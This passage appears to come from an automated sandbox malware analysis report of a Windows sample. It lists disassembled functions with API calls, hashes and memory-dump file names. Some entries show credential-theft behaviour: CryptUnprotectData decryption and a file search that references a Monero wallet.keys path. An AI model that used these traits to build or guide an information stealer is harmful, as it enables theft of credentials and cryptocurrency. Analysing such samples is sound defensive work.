Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: c1f169ab701c72cdcb8a2e00601244d2838eb2e2e0c37a03db03dfd5e7b25855
Instruction ID: ac751f89cd04d213f82487a2b4db917d3cccc3f7119eb643b78c7756c37f8636
Opcode Fuzzy Hash: c1f169ab701c72cdcb8a2e00601244d2838eb2e2e0c37a03db03dfd5e7b25855
Instruction Fuzzy Hash: 6811A4B4240208EFEB14CF64DC95FAAB7B5FB89704F248058F9199B390C7B5AA41CB51

Function 00C47980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00C50E00,00000000,?), ref: 00C479B0
RtlAllocateHeap.NTDLL(00000000), ref: 00C479B7
GetLocalTime.KERNEL32(?,?,?,?,?,00C50E00,00000000,?), ref: 00C479C4
wsprintfA.USER32 ref: 00C479F3

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: c304e89a678d7b8c3366babedaf38b2002c8d81b0b7d43b8bf9c3a47b49bf8cd
Instruction ID: e1ad326ab419198135ed0330580746a4280350571a0e87a93e9889cd631b6514
Opcode Fuzzy Hash: c304e89a678d7b8c3366babedaf38b2002c8d81b0b7d43b8bf9c3a47b49bf8cd
Instruction Fuzzy Hash: F9112AB2904118ABCB14DFCADD45BBEB7F8FB4CB11F14425AF605A2280D3395944D7B1

Function 00C47A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,019DDF70,00000000,?,00C50E10,00000000,?,00000000,00000000), ref: 00C47A63
RtlAllocateHeap.NTDLL(00000000), ref: 00C47A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,019DDF70,00000000,?,00C50E10,00000000,?,00000000,00000000,?), ref: 00C47A7D
wsprintfA.USER32 ref: 00C47AB7

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 25db1f7e01b7a9f70788d7181557f72f4d1dc3826fa1e4fdb5683da452cea892
Instruction ID: 071a9c1ccec66b07f00f42669cda62c20f75f6ef02cd405cd0550bd38b76e58b
Opcode Fuzzy Hash: 25db1f7e01b7a9f70788d7181557f72f4d1dc3826fa1e4fdb5683da452cea892
Instruction Fuzzy Hash: F6118EB1A45218EFEB20DB55DC49FA9B778FB44721F1043AAE91AA32C0C7741A84CF52

Function 01000744 Relevance: 5.4, Strings: 3, Instructions: 1605COMMON

Download Yara Rule

Strings

I#}, xrefs: 01000A5D
:!o, xrefs: 01000A03
f-', xrefs: 01001438

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :!o$I#}$f-'
API String ID: 0-3078760312
Opcode ID: 615eab73f7a79fd8254370591f1693799b6d5be31131497212bb5ab537944828
Instruction ID: 2e8c1a436f4148ecb9c44fb88770a2d2a104c961965c9d4319c92f94e4f51b96
Opcode Fuzzy Hash: 615eab73f7a79fd8254370591f1693799b6d5be31131497212bb5ab537944828
Instruction Fuzzy Hash: C7B207F36082009FE304AE6DEC8567AFBE9EF94760F1A893DE6C4C3744E63558058697

Function 0100DD3D Relevance: 5.3, Strings: 3, Instructions: 1563COMMON

Download Yara Rule

Strings

aO, xrefs: 0100EB5C
mHw, xrefs: 0100E1AE
[s~|, xrefs: 0100EF50

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: [s~|$mHw$aO
API String ID: 0-2738172619
Opcode ID: 5e713d1b7270d9281bb0ee179facf7186d1efa46bcb05ee9878b0757a2c1a245
Instruction ID: 57e9d740ead38ed16c2dac4379f772a403ff7d47a3c04ddf2951a321b726396b
Opcode Fuzzy Hash: 5e713d1b7270d9281bb0ee179facf7186d1efa46bcb05ee9878b0757a2c1a245
Instruction Fuzzy Hash: FBB205F390C2109FE3046E2DEC8567AFBE9EF94320F16492DEAC4D7744EA3598418697

Function 00C43720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00C4E118,00000000,00000001,00C4E108,00000000), ref: 00C43758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00C437B0

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: b884813e474bc5cbd18da02f791658eec19873ef38c21540c6b191b749d71cf5
Instruction ID: 9797de6c42d11033f88b4def1076d3a683dea2d38cfcd45e1a4beae4cc539ad5
Opcode Fuzzy Hash: b884813e474bc5cbd18da02f791658eec19873ef38c21540c6b191b749d71cf5
Instruction Fuzzy Hash: 35410770A40A289FDB24DB58CC94B9BB7B4BB88702F4041D9E608E72D0E771AEC5CF50

Function 00C39B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00C39B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00C39BA3
LocalFree.KERNEL32(?), ref: 00C39BD3

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b4885964b15ddbd544a95cc35874018b678d47c7fadfe448aa4d9717e2cccace
Instruction ID: 720db6339e3e3300f0811595b0cc818604a27cc78811587f7f1b714251189506
Opcode Fuzzy Hash: b4885964b15ddbd544a95cc35874018b678d47c7fadfe448aa4d9717e2cccace
Instruction Fuzzy Hash: 6E110CB8A00209DFDB04DF94D985AAEB7B9FF88300F104568E915A7350D770AE54CFA1

Function 01005984 Relevance: 4.1, Strings: 2, Instructions: 1631COMMON

Download Yara Rule

Strings

3;?^, xrefs: 01006AF3
4zt', xrefs: 01006547

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3;?^$4zt'
API String ID: 0-3179944323
Opcode ID: 47124bcee734238838f01059a6be2821ae3770b84147ad5f1582509a5107c70c
Instruction ID: 0d9345a8046a2af82f533770de34e5039b8df689bd5b10a6dcaea14464d0a5c5
Opcode Fuzzy Hash: 47124bcee734238838f01059a6be2821ae3770b84147ad5f1582509a5107c70c
Instruction Fuzzy Hash: A7B216F360C2049FE3046E2DEC8567ABBEAEFD4720F1A463DE6C5C7744EA3558058692

Function 00EA4987 Relevance: 4.0, Strings: 3, Instructions: 230COMMON

Download Yara Rule

Strings

E~, xrefs: 00EA4ABC
R:Y, xrefs: 00EA4B2D
Ij}g, xrefs: 00EA4AD3

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: E~$Ij}g$R:Y
API String ID: 0-3270868955
Opcode ID: cf43b8ce11d60e8bf9ae6695a7b70d56ced61658fc314e9721bd59a89b7354f1
Instruction ID: c94623ad1d1ebdea75afbc97fd799ff327a3b3c8dd5025075759b3d2b140de05
Opcode Fuzzy Hash: cf43b8ce11d60e8bf9ae6695a7b70d56ced61658fc314e9721bd59a89b7354f1
Instruction Fuzzy Hash: 69616BF3E183105BE304697CED94766B796DBD4320F1A863DDB8897784E8795C0583C6

Function 01007B4C Relevance: 2.2, Strings: 1, Instructions: 968COMMON

Download Yara Rule

Strings

`/p7, xrefs: 01007DAA

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: `/p7
API String ID: 0-3203527995
Opcode ID: 3758b8b72a7467960c7be778fd37bad7571930dd808294aada6ae4c1310db6a7
Instruction ID: 6b6367a64d8d0084cafc05b2ffbaa6167275277d5cf5bbea2e14641d62ff1056
Opcode Fuzzy Hash: 3758b8b72a7467960c7be778fd37bad7571930dd808294aada6ae4c1310db6a7
Instruction Fuzzy Hash: A052E2F390C204AFE314AF19EC8567AFBE9EF94720F1A853DE6C483344E63558158697

Function 00C3F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C515B8,00C50D96), ref: 00C3F71E
StrCmpCA.SHLWAPI(?,00C515BC), ref: 00C3F76F
StrCmpCA.SHLWAPI(?,00C515C0), ref: 00C3F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00C3FAB1
FindClose.KERNEL32(000000FF), ref: 00C3FAC3

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 8082b97dca3bd7d0032f7327291d68c19389d5e0f1af7b23710db9aa0e03ea43
Instruction ID: c847c261a2556aa7f6d631c7f4c9e6085db76023e2ccb95674185a10ca5e7953
Opcode Fuzzy Hash: 8082b97dca3bd7d0032f7327291d68c19389d5e0f1af7b23710db9aa0e03ea43
Instruction Fuzzy Hash: 6A11813585410DABEB24EBA0EC55AED7378FF10300F5146A9A51A560D2EF302B4AEB92

Function 00EFD5FE Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

0a^o, xrefs: 00EFD6F5

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0a^o
API String ID: 0-1632602809
Opcode ID: 072fba4b03a430cf5002e0176a7cf782473b87f1613e9cbb22b269dd11f68bf3
Instruction ID: c60d844ec83f4b727ceefaf69cf5c7fce1ec857dcda323eb14f079f6e987ccc7
Opcode Fuzzy Hash: 072fba4b03a430cf5002e0176a7cf782473b87f1613e9cbb22b269dd11f68bf3
Instruction Fuzzy Hash: E751E4B39082205BE314AA19EC4176AFBE9EF94720F17453EEEC8A3740E5754D0587D2

Function 00ECA1FD Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

%p}u, xrefs: 00ECA3BE

Memory Dump Source

Source File: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmpDownload File
